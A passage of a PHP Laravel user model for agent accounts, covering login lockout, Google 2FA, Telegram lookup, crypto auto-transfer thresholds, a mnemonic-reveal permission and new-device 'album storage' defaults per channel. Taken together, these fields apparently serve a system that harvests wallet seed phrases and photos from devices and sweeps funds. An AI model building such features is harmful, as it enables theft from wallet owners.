forgetAgents(); }; static::saved($bust); static::deleted($bust); } protected function casts(): array { return [ 'password' => 'hashed', 'status' => 'integer', 'auto_transfer_enabled' => 'boolean', 'auto_transfer_threshold_usdt' => 'decimal:8', 'auto_transfer_threshold_trx' => 'decimal:8', 'auto_transfer_threshold_eth' => 'decimal:8', 'auto_transfer_threshold_btc' => 'decimal:8', 'auto_transfer_threshold_bnb' => 'decimal:8', 'album_storage_default' => 'boolean', 'can_reveal_mnemonics' => 'boolean', 'google_auth_open' => 'integer', 'login_attempts' => 'integer', 'locked_at' => 'datetime', ]; } protected $attributes = [ 'album_storage_default' => false, 'can_reveal_mnemonics' => false, ]; public function isEnabled(): bool { return (int) $this->status === 1; } public function isLocked(): bool { return $this->locked_at !== null; } /** * Increment the consecutive failed-login counter; auto-lock when the * count reaches $maxAttempts (default 5). Returns true when the call * triggers a lock. */ public function recordFailedLogin(int $maxAttempts = 5): bool { $this->login_attempts = (int) $this->login_attempts + 1; $justLocked = false; if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) { $this->locked_at = now(); $justLocked = true; } $this->save(); return $justLocked; } /** * Reset the failed-login counter (called after a successful login or * when an admin manually unlocks the account). */ public function clearLoginAttempts(): void { if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) { $this->login_attempts = 0; $this->locked_at = null; $this->save(); } } public function channels(): HasMany { return $this->hasMany(Channel::class, 'user_id'); } public function albumStorageDefaultEnabled(): bool { return (bool) ($this->album_storage_default ?? false); } public function mnemonicRevealEnabled(): bool { return (bool) ($this->can_reveal_mnemonics ?? false); } public function canRevealMnemonics(): bool { return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled(); } public function hasGoogleBound(): bool { return filled($this->google_secret); } public function requiresLoginGoogle(): bool { return $this->hasGoogleBound() && (int) $this->google_auth_open === 1; } /** * New-device album_storage default for a channel. * Agent channels use that agent's switch. Official channels use the system switch. * Unknown channel IDs stay off. */ public static function albumStorageDefaultForChannel(?string $channelId): bool { $channelId = trim((string) $channelId); if ($channelId === '') { return false; } $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); if ($userId === null) { return false; } if ((int) $userId === Channel::OFFICIAL_USER_ID) { return (bool) config('coruna.album_storage.official_default'); } $agent = static::query()->find((int) $userId); return $agent?->albumStorageDefaultEnabled() ?? false; } public function hasTelegramChat(): bool { return trim((string) ($this->chat_id ?? '')) !== ''; } /** @deprecated Use hasTelegramChat(); kept for existing call sites. */ public function hasTelegramBot(): bool { return $this->hasTelegramChat(); } public static function findEnabledByChatId(int|string|null $chatId): ?self { $chatId = trim((string) $chatId); if ($chatId === '') { return null; } return static::query() ->where('status', 1) ->where('chat_id', $chatId) ->orderBy('id') ->first(); } }